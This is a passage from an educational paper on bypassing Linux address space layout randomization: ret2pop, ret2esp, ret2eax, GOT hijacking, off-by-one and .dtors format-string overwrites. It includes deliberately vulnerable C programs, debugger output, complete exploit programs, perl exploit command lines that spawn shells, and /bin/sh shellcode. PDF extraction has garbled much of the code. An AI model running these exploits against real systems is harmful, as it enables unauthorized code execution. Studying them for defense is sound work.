shellcode pointer do not lead to its goal (after the byte alignment). 8.2 ret2pop The idea of a ret chain has been explained in the ret2ret section. The ret2pop method picks up this idea. During the ret2ret attack the goal has been to align a pointer with the shellcode by overwriting its least sig- nificant byte. Contrary to this the ret2pop method has been developed to take advantage of an already per- fect pointer. The question is how to modify the return chain in a way that the least significant byte of a perfect pointer is not been overwritten. The answer is: return to return to ... to pop to return to the pointer (see figure 19). Before I discuss how this method works in detail, I want to note how to find such a perfect pointer. The trick is to survey the multiple locations where the shell- code is stored. After an exploitation attempt the shell- code is placed twice in the stack: First in the over- flowed buffer and second still in the argv array. It is oftentimes possible to find perfect pointers into the argv array, e.g. when the main input is passed over to a function. Classic attacks usually try to return into the overflowed buffer. Since one can find perfect pointers to the argv array it is worth a try to return into this area. Now assume there is such a perfect pointer to the argv area. A ret2ret chain to this pointer would de- stroy its perfectness, since the terminating zero byte overwrites the least significant byte. So the input must 11 Figure 19: ret2pop illustration stop four bytes earlier to overwrite the least signifi- cant byte of the location before the pointer. The prob- lem is that the location before the pointer is filled up with nonsense and it becomes necessary to jump over this location. It is possible to skip one location with a pop command (see figure 19). But it is needful to use a pop ret combination and not an arbitrary single pop command, because the shellcode pointer should be used as an instruction pointer afterwards. There are a lot of possible pop commands in as- sembler. In practice you will frequently find pop ebp commands followed by a ret command. But the EBP register is not of peculiar interest, it is just the pop command. The pop command effects the stack to shrink and therfore to skip four bytes - here the four bytes before the perfect pointer. So the idea is to return to such a pop ebp command, skip four bytes and the ret command will be executed afterwards, because of the usual incrementation of the EIP register. The ex- ecution of the last ret command leads to the shell- code, since the ESP register points to the perfect argv pointer now. i n t f u n c t i o n ( i n t x , char ? s t r ) { char buf [ 2 5 6 ] ; s t r c p y ( buf , s t r ) ; return x ; } i n t main ( i n t argc , char ?? argv ) { f u n c t i o n (64 , argv [ 1 ] ) ; } Figure 20: ret2pop.c Consider the C program ret2pop for instance (see figure 20). The code contains a strcpy vulnerabil- ity in function and a perfect pointer to argv. This pointer exists, because an argv argument is directly passed to function. The debugger displays where exactly you can find this pointer: (gdb) print str $1 = 0xbf873a85 "AAAA" (gdb) x/4x $ebp bf8720e8 080483c0 00000040 bf873a85 Accordingly to the debugger the argv pointer to bf873a85hex is placed very near to the return instruc- tion pointer (which currently contains 080483c0hex). There is no room for a long return chain; the pop ret command has to be placed directly into the RIP lo- cation. So there is no need for a single ret com- mand. Now it becomes clear why I have built in the first parameter x of function. Without this dummy (64dec = 40hex) there would be even too less room to place just one single pop ret command without overwriting the argv pointer with a zero byte. What is needed next for a successful exploit is an ad- dress of a pop ret combination. The easiest way to find such an instruction sequence is to use the following command: > objdump -D ret2pop | grep -B 2 ret 8048466: 5b pop %ebx 8048467: 5d pop %ebp 8048468: c3 ret Hence the address of a pop ret sequence is 08048467hex. This address would be the last entry of a ret2pop chain. The entries before, the single ret com- mands, would contain 08048468hex for instance. But these entries are not needed here as I have mentioned above. You can find a working exploit in figure 21. Unlike the ret2ret exploit there is no remaining risk that it fails, because the shellcode pointer has been perfect from the very first - it is not manipulatet. Again you can call the exploit as follows: > ./ret2pop ?./ret2popExploit? sh-3.1$ 8.3 ret2esp The principle of this method is to interpret hardcoded data as instructions. ret2esp takes advantage of the in- struction sequence jmp *esp. But you cannot find jmp *esp in a normal binary - this sequence is just 12 # define POPRET 0x08048467 # define RET 0x08048468 # define b u f s i z e 264 # define c h a i n s i z e 4 i n t main ( void ) { char ? buff , ? p t r ; long ? a d r p t r ; i n t i ; buff = malloc ( b u f s i z e ) ; for ( i =0; i<b u f s i z e ; i ++) buff [ i ] = ?A? ; p t r = buff + bufsize ?c h a i n s i z e ; a d r p t r = ( long ?) p t r ; for ( i = bufsize ?c h a i n s i z e ; i<b u f s i z e ; i +=4) i f ( i == bufsize ?4) ?( a d r p t r ++)=POPRET; e l s e ?( a d r p t r ++)=RET; p t r = buff ; for ( i =0; i<s t r l e n ( s h e l l c o d e ) ; i ++) ?( p t r ++) = s h e l l c o d e [ i ] ; buff [ b u f s i z e ] = ?\0 ? ; p r i n t f ( ?%s ? , buff ) ; } Figure 21: ret2popExploit.c not produced by gcc. Before I explain how to find this instruction anyhow, I want to show how to utilize it. Consider the illustration in figure 22. The position of the ESP is predictable during the function epilogue. Therefore it is smart to place the shellcode at the posti- tion where the ESP will point to during the epilogue. Additionally overwriting the instruction pointer by a pointer to jmp *esp will lead to the exectution of the shellcode. The jmp command will proceed the pro- gram flow at the address where the ESP points to. The position of the ESP after the RIP has been loaded is always one location above the RIP. So the shellcode has to be placed above the RIP this time. This technique sounds nice, but - as I mentioned be- fore - it is impossible to find a jmp *esp instruc- tion sequence in the assembler dump of binaries. Well, one can search the hexadecimal dump of a binary for ffe4hex. This hexadecimal number will be interpreted as jmp *esp. If an attacker can find this number hardcoded anywhere in the binary, he can determine the corresponding address and overwrite the RIP ac- cordingly. This seems to be rare adaptive in practice. But the chance to find ffe4hex hardcoded in binaries is in- creased by the size of the binary. Let?s take a look at the tar binary. /bin/tar has a size of 226K. A sim- ple hexdump followed by grep ffe4 results in five hits - and the hits seperated by spaces or line feeds are not listed. Figure 22: ret2esp illustration > hexdump tar | grep ffe4 ffe0 0807 5807 0000 ffe4 0807 25ff ffe4 0807 c068 0002 e900 9be8 ffe4 31ff c6c0 e105 081c 8900 240c 57e8 ffe4 85ff 0fc0 dbe8 ffe4 80ff e7bd fffd 00ff And considering the whole /usr/bin/ directory results in over 7000 hits on my machine: > hexdump /usr/bin/* \ > | grep ffe4 | wc -l 7031 void f u n c t i o n ( char? s t r ) { char buf [ 2 5 6 ] ; s t r c p y ( buf , s t r ) ; } i n t main ( i n t argc , char?? argv ) { i n t j = 58623; f u n c t i o n ( argv [ 1 ] ) ; } Figure 23: ret2esp.c Consider the vulnerable program ret2esp in fig- ure 23. The code contains a hardcoded decimal num- ber 58623. Note that ffe4hex becomes 58623dec be- cause of little endian. One can determine the address of 58623 and therfore the address of jmp *esp as fol- lows: 13 (gdb) disass main 0x080483e5: movl $0xe4ff,... (gdb) x/i 0x080483e8 0x080483e8: jmp *%esp Thus the correct address is 080483e8hex. The offset of three bytes is needed to skip the original mov instruction. A working exploit can be found in figure 24. It can be applied as usual by typing ./ret2esp ?./ret2espExploit?. i n t main ( void ) { char ? buff , ? p t r ; long ? a d r p t r ; i n t i ; buff = malloc ( 2 6 4 ) ; p t r = buff ; a d r p t r = ( long ?) p t r ; for ( i =0; i <264+ s t r l e n ( s h e l l c o d e ) ; i +=4) ?( a d r p t r ++) = 0x080483e8 ; p t r = buff +264; for ( i =0; i<s t r l e n ( s h e l l c o d e ) ; i ++) ?( p t r ++) = s h e l l c o d e [ i ] ; buff [264+ s t r l e n ( s h e l l c o d e ) ] = ?\0 ? ; p r i n t f ( ?%s ? , buff ) ; } Figure 24: ret2espExploit.c 8.4 ret2eax The idea of this approach is to use the information that is stored in the accumulator, the EAX register. A func- tion that returns a value, stores this value by using EAX. Thus a function that returns a string, writes a pointer to this string into the accumulator right before the execu- tion is continued by the calling function. The calling function can use the content of EAX afterwards, e.g. by assigning it to a variable. The builtin function strcpy is such a function that stores a string pointer in the EAX register. Some peo- ple don?t know this feature of strcpy, because it is hardly used. Usually it is sufficient to copy a string into another buffer. But typing the following will work as well: bufptr = strcpy(buf,str); This effects that bufptr points to the same loca- tion as buf. After strcpy returns, the accumulator always includes a pointer to the buffer - even if this pointer is not assigned to a variable. The same holds for user defined functions and a lot of other builtin func- tions. So the EAX register can be a perfect pointer to the shellcode. void f u n c t i o n ( char? s t r ) { char buf [ 2 5 6 ] ; s t r c p y ( buf , s t r ) ; } i n t main ( i n t argc , char ?? argv ) { f u n c t i o n ( argv [ 1 ] ) ; } Figure 25: ret2eax.c Consider the code of the C program ret2eax listed in figure 25. This code contains the obligatory strcpy vulnerability, but not much more. It is ex- ploitable under ASLR by overwriting the RIP with a pointer to the instruction set call *%eax (see figure 26). Figure 26: ret2eax illustration Note that this exploitation technique only works, if the accumulator is unaltered until the the EAX register will be called. This code could not be exploitable, if further commands follow to the strcpy call and alter the accumulator as well. And it should be clear that nearly every command alters the accumulator. So this code is just exploitable, because the strcpy call is the very last command of function. As the exploit is based on the command call *%eax, it is needful to determine the ad- dress of such an instruction sequence. This sequence can usually not be found within the own code. But one will always find this sequence somewhere in the foreign code by using objdump as follows: 14 > objdump -D ret2eax | grep -B 2 "call" 804848f: je 80484a3 8048491: xor %ebx,%ebx 8048493: call *%eax Thus the address looked for is 08048493hex. You can find an exploit using this address in figure 27. It is applicable as usual by ./ret2eax ?./ret2eaxExploit. i n t main ( void ) { char ? buff , ? p t r ; long ? a d r p t r ; i n t i ; buff = malloc ( 2 6 4 ) ; p t r = buff ; a d r p t r = ( long ?) p t r ; for ( i =0; i <264; i +=4) ?( a d r p t r ++) = 0x08048493 ; p t r = buff ; for ( i =0; i<s t r l e n ( s h e l l c o d e ) ; i ++) ?( p t r ++) = s h e l l c o d e [ i ] ; buff [264] = ?\0 ? ; p r i n t f ( ?%s ? , buff ) ; } Figure 27: ret2eaxExploit.c 9 GOT hijacking A common return into libc attack as described in [c0n06a] does not work anymore, since ASLR random- izes the address space of the stack as well as the address space of the libraries. But the library functions which are called within a program have to be resolved any- way. Therefore the library functions have an entry in two tables: the GOT and the PLT. A way of bypassing ASLR is to attack these tables. But first I want to ex- plain what these tables exactly are. The ideas of this section are based on [c0n06b]. 9.1 GOT and PLT GOT stands for Global Offset Table and PLT for Pro- cedure Linking Table. These tables are closely related to each other as well as to the dynamic linker and libc. They gain in importance as soon as a library function is called. Consider the libc function printf and figure 28 for instance. By this illustration I want to explain what happens if a program calls a library function. The principle is a so called lazy binding: External symbols are not resolved until they are really needed. According to [San06]: Figure 28: GOT and PLT 1. A library function is called (e.g. printf). Jump to its relevant entry of the PLT. This entry points to an entry in the GOT. 2. Jump to the address that this entry of the GOT contains. a) If the function is called for the first time this address points to the next instruction in the PLT, which calls the dynamic linker to re- solve the function?s address. How the dy- namic linker works in detail will not be dis- cussed here. If the function?s address has been found somehow it is written to the GOT and the function is executed. b) Otherwise the GOT already contains the ad- dress that points to printf. The function is executed immediately. The part of the PLT that calls the dynamic linker is no longer used. 3. The execution of the function has been finished. Go on with the execution of the calling function. The PLT contains instructions (namely jmp instruc- tions) and the GOT contains pointers. So an attack should focus on overwriting the entries of the GOT. 9.2 ret2got Common exploitation techniques of buffer overflows overwrite the RIP to manipulate the instruction pointer and consequently the program flow. Manipulating the GOT is a completely different approach: The GOT en- try of a function A will be patched, so that it points to another function B. Every time function A is called, function B will be executed with the parameters func- tion A has been called with. That can be utilised to run commands, if function B is e.g. system and the pa- rameter of A can be set by user input, to /bin/sh for 15 instance. According to [c0n06b] this technique does not only bypass ASLR but also a non-executable stack. void a n y f u n c t i o n ( void ) { system ( ?someCommand? ) ; } i n t main ( i n t argc , char?? argv ) { char? p t r ; char a r r a y [ 8 ] ; p t r = a r r a y ; s t r c p y ( ptr , argv [ 1 ] ) ; p r i n t f ( ? Array has %s a t %p ? , ptr , &p t r ) ; s t r c p y ( ptr , argv [ 2 ] ) ; p r i n t f ( ? Array has %s a t %p ? , ptr , &p t r ) ; } Figure 29: ret2got.c More precisely the GOT entry of a function has to be redirected to the dynamic linker call of another func- tion. Consider the C program ret2got listed in fig- ure 29. The GOT entry of printf will be redirected to the dynamic linker call that corresponds to the system function. Conveniently let assume that system is used somewhere in the code. anyfunction is not really needed as you see - it just exists to have a reference to system. Admittedly, this example is very artificial for simplicity and to find such a vulnerability in the wild is more difficult. An exploit for ret2got works as follows: The first strcpy is used to overflow the buffer array and thereby to overwrite ptr with the GOT reference of printf. Therefore it is possible to overwrite the GOT entry of printf during the second strcpy, since ptr points to this GOT entry now. The first printf instruction is just for interest and triggers the dynamic linker to resolve its address. The second printf instruction will be interpreted as: system("Array has %s at %p "); So printf is a synonym for system and the ar- guments remain unchanged. What happens now is that system tries to execute the shell command Array. I have already explained this behavior in section 5. An attacker could create a script called Array that con- tains /bin/sh for instance. The principle of the exploit becomes clear now. But the details are still missing, mainly: How to determine the address of printf?s GOT entry and how to de- termine the address of system?s dynamic linker call? Both can be solved by using gdb. Firstly the GOT en- try: (gdb) disass main <main+70>: call 0x804834c (gdb) disass 0x804834c <printfplt+0>: jmp *0x80496ac <printfplt+6>: push $0x10 <printfplt+11>: jmp 0x804831c So the relevant entry for printf can be found at ad- dress 080496achex within the GOT. If one can manip- ulate the content of 080496achex, one can manipulate the program flow. The jmp instruction is an indirect jump (since it is marked with an asterisk); this accords with the theoretical explanation I gave about the rela- tionship between the GOT and the PLT. Determining the address of system?s dynamic linker call is easy as well: (gdb) disass anyfunction 0x08048431: call 0x804832c (gdb) disass 0x804832c 0x0804832c: jmp *0x80496a4 0x08048332: push $0x0 0x08048337: jmp 0x0804831c (gdb) x/x 0x80496a4 0x080496a4: 0x08048332 So the address where the dynamic linker call of system happens is 08048332hex. This address has to be written into the GOT entry of printf, which can be found at address 080496achex. So 08048332hex has to be written to the location 080496achex. Redi- recting printf?s GOT entry in this way causes the execution of system whenever printf is called. Again you can see the correctness of the theoreti- cal explanation, since system?s GOT entry contains 08048332hex - this address is exactly the next in- struction within system?s PLT entry. (Note: Alter- natively one can overwrite printf?s GOT entry by 0804832chex, it would be redirected to 08048332hex anyway.) Finally I can show you a working exploit. Fortu- nately the exploit is much simpler than the way to it has been: > ./ret2got ?perl -e ?print "A"x8; \ > print "\xac\x96\x04\x08"?? \ > ?perl -e ?print "\x32\x83\x04\x08"?? Array has ... at 0xbfe01f2c sh-3.1 echo oh my got oh my got Furthermore it is possible to overwrite GOT entries by format string vulnerabilities. More about such vul- nerabilities and how to exploit them can be found in section 11. 16 Figure 30: off-by-one illustration 10 Off by one Off-by-one describes a possibility to exploit a vulner- ability where a buffer can only be overflowed by one byte. This is usually the least significant byte of the saved frame pointer, since the SFP is placed on the stack right before the variables. Furthermore this least significant byte is usually overwritten by zero, because this is the terminating byte of the users input. Frame pointer overwrites have been already de- scribed in [klo99] eight years ago. But the princi- ple still works under ASLR, since the frame pointer is changed relatively to its real position and not ab- solutely. Nevertheless ASLR makes it more difficult to exploit such a vulnerability, because after the frame pointer trick an attacker finds himself in a common buffer overflow situation, where he has to define the EIP. And to define the EIP needs some of the ASLR stack smashing methods to bring in (e.g. a return into non-randomized areas, brute forcing, one of the stack juggling methods etcetera). An off-by-one is based on a typical programming mistake where the programmer has miscalculated a buffer size just by one byte. Such a vulnerable code fragment could look like the following: for (i=1; i<=size; i++) dst[i] = src[i]; And this is just one of the most primitive off-by- one vulnerabilities. Other off-by-ones could occur due to fact that strlen returns the length without the zero termination byte, but other functions like strncpy expect the length inclusive the zero byte. This is confusing and let a programmer often write strlen(str)+1 which is again not the best choice in every context. Understanding the principle of exploiting an off-by- one requires profounded knowlegde in function epi- logues. So have in mind what happens if a function returns to its calling function: leave = mov %ebp,%esp pop %ebp ret = pop %eip Now consider figure 30, which illustrates the frame pointer overwrite. The numbering accords to the fol- lowing explanation: 1. In the initial situation the saved frame pointer points to the beginning of the previous frame. 2. But due to an off-by-one vulnerability buff is overflowed and SFP?s least significant byte is overwritten by zero. With a bit of luck the forged saved frame pointer FSP points into buff now. The probability depends on the size of buff. If the FSP does not point into buff a second chance is needed. Because of ASLR it is impossible to predict an exact position. 3. The first instruction of the function epilogue is ex- ecuted (mov %ebp,%esp). Both, the EBP and the ESP point to the FSP now. 4. The second instruction of the epilogue is executed (pop %ebp). Now the EBP points to a location within buff. The ESP points to the return in- struction pointer. 5. The third instruction of the epilogue is executed (pop %eip). The ESP points to the top of the previous frame and the EIP contains the next (still correct) instruction of the calling function. The 17 program flow proceeds executing the calling func- tion. Only the position of the EBP is forged till now. 6. Assume the execution of the calling function is finished as well and the second function epilogue begins. So the next instruction is mov %ebp,%esp again. This forges the posi- tion of the ESP. The ESP points into buff now. 7. The next instruction is pop %ebp. It does not matter anymore where the EBP points now, but it is important that the ESP still points into buff. 8. The last instruction of the second epilogue is pop %eip. So the EIP register is overwritten with the location where the ESP points to - a loca- tion within buff. Therefore it is possible to ex- ecute shellcode by placing a well-advised instruc- tion pointer at this location. This location cannot be determined exactly since ASLR, so it is need- ful to fill up big parts of the buffer by the same instruction pointer. As I already mentioned before this principle is nearly the same as without ASLR. The difference comes at the end: What should be written into the EIP register? And this is exactly the ASLR problem that has been discussed in the sections before. One possibility is to build a ret chain to a jmp *esp instruction, that is followed by the shellcode. By this technique the ret chain covers the need of filling up the buffer with iden- tical instruction pointers. In figure 31 you can find a program that is vulnerable to this attack. void save ( char? s t r ) { char buff [ 2 5 6 ] ; s t r n c p y ( buff , s t r , s t r l e n ( s t r ) + 1 ) ; } void f u n c t i o n ( char? s t r ) { save ( s t r ) ; } i n t main ( i n t argc , char? argv [ ] ) { i n t j = 58623; i f ( s t r l e n ( argv [ 1 ] ) > 256) p r i n t f ( ? Input out of s i z e . ? ) ; e l s e f u n c t i o n ( argv [ 1 ] ) ; } Figure 31: offbyone.c The line that offers an off-by-one is not the strncpy command. This line does what the program- mer wants: Copying the whole string str inclusive the zero byte termination to buff. The vulnerability is the if statement in the main method: The programmer forgot about the zero byte termination and the behav- ior of strlen. A correct statement would check if the input is greater than 255. It is up to the reader to write an exploit as it is a combination of already discussed techniques. 11 Overwriting .dtors Format string vulnerabilities allow to write into arbi- trary locations of the program memory. But it is essen- tial to know the target address exactly. Therefore it is impossible to overwrite any stack contents (like return instruction pointers) since ASLR randomizes these ad- dresses. However, there are still two pairs of interest- ing locations that are not randomized: The GOT/PLT entries and the .dtors/.ctors sections. Overwriting the GOT/PLT entries have already been discussed in section 9. Now format string vulnerabil- ities are used to describe how to overwrite the .dtors section. But keep in mind that you are free to combine any of these techniques. You can overwrite GOT/PLT entries by format string vulnerabilities as well. Or you can overwrite the .dtors section by vulnerabilities sim- ilar to the one that have been shown in section 9. First I will describe how to overwrite arbitrary mem- ory locations in general using the ?one shot? method. After that I will explain what the .dtors section is and why it makes sense to overwrite it. Finally I combine these to a ret2dtors attack and list an example and its exploit. More detailed information about format string vul- nerabilities can be found in [Scu01] and [ger02], more about overwriting the .dtors section in [Riv01]. 11.1 One shot Functions like printf can be induced to write into the memory by the format instructions %n and The task of %n is to save the number of characters that have been printed yet. The task of is to print exactly m hexadecimal characters. A combination of these format instructions affords the possibility to write an arbitrary number to the memory. An example is given in figure 32. The output of the second printf command is 20, because the first printf command writes 20 zeros and stores this number in i. So it is possible to write arbitrary numbers. The question is now: How to write this number to an ar- bitrary location? The format instruction %n expects a pointer (e.g. &i in figure 32). Assume the content of 18 i n t main ( void ) { i n t i = 0; p r i n t f ( ?%.10x%.10x%n ? , i , i ,& i ) ; p r i n t f ( ?%i ? , i ) ; } Figure 32: oneshot1.c an address a should be overwritten. There has to be a way to place a pointer that points to a on the stack. Furthermore the offset from the format string pointer to the a pointer has to be known. Assume this offset is f. A format string that contains the %n instruction at the f-th position has to be created and to be passed on to the vulnerable program. With this technique an arbitrary address a can be overwritten. i n t main ( i n t argc , char ?? argv ) { char buff [ 1 2 ] ; s t r c p y ( buff , ?AAAAAAAAAAA? ) ; i n t num = 1; i n t ? p t r = ( i n t ?) buff ; ?(++ p t r ) = ( i n t )&num ; p r i n t f ( argv [ 1 ] ) ; p r i n t f ( ? %i ? ,num ) ; } Figure 33: oneshot2.c An example is given in figure 33. The arbitrary ad- dress a is the address &num here. It is placed in a buffer somewhere on the stack. This address is not really ar- bitrary (i.e. not determined by an user input) just for simplicity. So the address a is placed on the stack. What is still needed is the offset f. The following line affords to determine f: > ./oneshot2 %x_%x_%x_\ > %x_%x_%x_%x_%x_%x_%x 80484e0_c_b7e543ee_b7ef76d9_ 80495e0_bf973268_1_41414141_ bf97325c_414141 Thus it holds f = 9. The address of a is bf97325chex in this example. It is possible to write to the address a by passing %n as the ninth format in- struction. The following line writes the number 1234 to a: > ./oneshot2 %.10x%.10x%.10x%\ >.10x%.10x%.10x%.10x%.1164x%n 1234 Moreover there exists a so called short write method, which can write large numbers much faster than the one shot method can do. It is described in [Scu01]. 11.2 .dtors section Every ELF binary contains two sections: .dtors (de- structors) and .ctors (constructors). Destructors and constructors can be defined by the programmer (see figure 34) or not, but the sections exist either way. A constructor is called before main is executed and a de- structor after the execution of main. Since a construc- tor is executed before any user input is read, this section is not exploitable for an attack - but the .dtors section is. The .dtors section is a list of addresses which point to the destructors. This list is marked by a leading ffffffffhex and an ending 00000000hex. E.g. a bi- nary dtors can be inspected by objdump as follows: > objdump -s -j .dtors ./dtors 80495f8 ffffffff 54840408 00000000 So the .dtors section begins at 080495f8hex and the location 080495fchex points to a destructor. The code of the destructor begins at address 08048454hex. An attack on the .dtors section would overwrite the location 080495fchex with a shellcode pointer. The shellcode would be executed right after main exits. 11.3 ret2dtors Consider the C program dtors listed in figure 34. It contains a snprintf vulnerability and the heap area heap_buff. This area is necessary to place the shell- code as it is not randomized. Hence the example is a combination of ret2dtors and ret2heap. s t a t i c void m y c o n s t r u c t o r ( void ) a t t r i b u t e ( ( c o n s t r u c t o r ) ) ; void m y c o n s t r u c t o r ( void ) { p r i n t f ( ? C o n s t r u c t o r ? ) ; } i n t main ( i n t argc , char ? argv [ ] ) { char ? heap buff ; heap buff = ( char ?) malloc ( s t r l e n ( argv [ 1 ] ) ) ; s t r c p y ( heap buff , argv [ 1 ] ) ; char buff [ 3 2 ] ; s n p r i n t f ( buff , s i z e o f ( buff ) , argv [ 2 ] ) ; buff [ s i z e o f ( buff )?1] = ?\0 ? ; } Figure 34: dtors.c 19 The exploit below seems to be very complicated, but it isn?t: The first parameter for the binary dtors is a shellcode that will be placed in heap_buff. The second parameter contains the format string that over- writes the .dtors section with the address of that shell- code upon the heap. Therefore the address of the .dtors section (080495fchex) is written into buff. The off- set from the format string pointer to the first location of buff is eight. So %n has to be the eighth format instruction and there is room for seven %mx instruc- tions to define the number that should be written. This number is the first address of heap_buff, which is 0804a008hex. The distribution of this number is cal- culated as follows: 0804a008hex = 134520840dec = 4 + 6 ? 20000000dec + 14520828dec + 8 (inclusive the four bytes of the heap address and eight bytes of under- scores). All the values I used can be determined by objdump and gdb. The exploit works as followss: > ./dtors ?./shellcode?\ > ?perl -e ?print "\xfc\x95\x04\x08\ > _%20000000x_%20000000x_%20000000x_\ > %20000000x_%20000000x_%20000000x_\ > %14520828x_%n"??; Constructor sh-3.1$ echo heap heap hurray! heap heap hurray! sh-3.1$ 12 Conclusion Summarizing I listed the following methods to exploit ASLR: dos, brute force, ret2text, ret2bss, ret2data, ret2heap, string and function pointer redirecting, stack stethoscope and formatted information, ret2ret, ret2pop, ret2esp, ret2eax and finally ret2got. Fur- thermore I pointed at integers, off-by-ones and dtors that are still exploitable under special circumstances (i.e. in a combination with one of the ASLR smashing methods listed above). Some of these techniques like ret2text (especially borrowed code), string and function pointer redirecting or ret2got are also useful to bypass a nonexecutable stack. So what I have shown is, that ASLR and therefore e.g. a standard linux installation is still highly vulner- able against memory manipulation. But ASLR is com- plementary to other prophylactic security techniques and a combination of these technologies could provide a stronger defense. These technologies are mainly: ? Compiler extensions: StackGuard, StackShield, /GS-Option, bounds checking, canary ? Library wrapper: Libsafe, FormatGuard ? Environment modification: PaX (complete ASLR), Openwall (non-executable stack) ? [Safe programming: source code analyzer, tracer, fuzzer] Most of these techniques are well known for years and provide a better protection against memory manip- ulation than simple stack ASLR does. The question is why they are not implemented into the linux ker- nel and enabled by default too. The problems with this techniques are compatibility, stability and perfor- mance: Environment modifications slow down the ma- chine, compiler extensions need a recompilation of ev- ery binary to take effect and library wrapper are not compatible to every program. So ASLR is not the best protection, but it disturbs a production system least. Note that there are also prob- lems relating to ASLR: The flow is not totally deter- ministic and this complicates debugging and crash an- alyzing. But therefore it is possible to switch off ASLR during runtime. [cor05], [Kle04] A Shellcode char s h e l l c o d e [ ] = ?\x31\xc0 ? ?\x50 ? ?\x68 ? ? / / sh ? ?\x68 ? ? / bin ? ?\x89\xe3 ? ?\x50 ? ?\x53 ? ?\x89\xe1 ? ?\x99 ? ?\xb0\x0b ? ?\xcd\x80 ? ; i n t main ( i n t argc , char ? argv [ ] ) { void (? code ) ( ) = ( void ( ? ) ( ) ) s h e l l c o d e ; code ( ) ; } References [ble02] blexim. Basic Integer Overflows. archives/60/p60-0x0a.txt, 2002. 20 [c0n06a] c0ntex. Bypassing non-executable-stack dur- ing exploitation using return-to-libc. http: //, 2006. [c0n06b] c0ntex. How to hijack the Global Offset Ta- ble with pointers for root shells. http://, 2006. [Con99] Matt Conover. w00w00 on Heap Overflows. articles/heaptut.txt, 1999. [cor05] corbet. Address space randomization in 2.6. 121845/, 2005. [Dul00] Thomas Dullien. Future of Buffer Over- flows? menelaus/bt/17418, 2000. Bugtraq Posting. [Dur02] Tyler Durden. Bypassing PaX ASLR pro- tection. archives/59/p59-0x09.txt, 2002. [Fos05] James Foster. Buffer Overflows, 2005. [ger02] gera. Advances in format string ex- ploitation. archives/59/p59-0x07.txt, 2002. [Kle04] Tobias Klein. Buffer Overflows und Format- String-Schwachstellen, 2004. German. [klo99] klog. The Frame Pointer Over- write. http://doc.bughunter. net/buffer-overflow/ frame-pointer.html, 1999. [Kot05a] Izik Kotler. Advanced Buffer Overflow Methods. http://events.ccc. de/congress/2005/fahrplan/ attachments/538-Slides_ AdvancedBufferOverflowMethods. ppt, 2005. [Kot05b] Izik Kotler. Smack the Stack. smackthestack.txt, 2005. [Kra05] Sebastian Krahmer. x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique. http://www., 2005. [One96] Aleph One. Smashing The Stack For Fun And Profit. stf/smashstack.html, 1996. [PaX03] PaX. Documentation. http://pax., 2003. [Riv01] Ruan Bello Rivas. Overwriting the .dtors section. downloads/papers/dtors.txt, 2001. [San06] Mulyadi Santosa. Understanding ELF using readelf and objdump. misc/understanding_elf_using_ readelf_and_objdump_3.html, 2006. [Scu01] Scut. Exploiting Format String Vulnerabil- ities. format-string/exploit-fs.html, 2001. [Sha04] Hovav Shacham. On the Effective- ness of Address-Space Randomization. papers/asrandom.pdf, 2004. et al. [Whi07] Ollie Whitehouse. An Analysis of ASLR on Windows Vista. http: // reference/Address_Space_ Layout_Randomization.pdf, 2007. 21


Envoyer le lien par email
#security  #aslr 

licence non indiquée

Technologies, Informatique 

Partagé par  securedocsangelina


Source:Non communiquée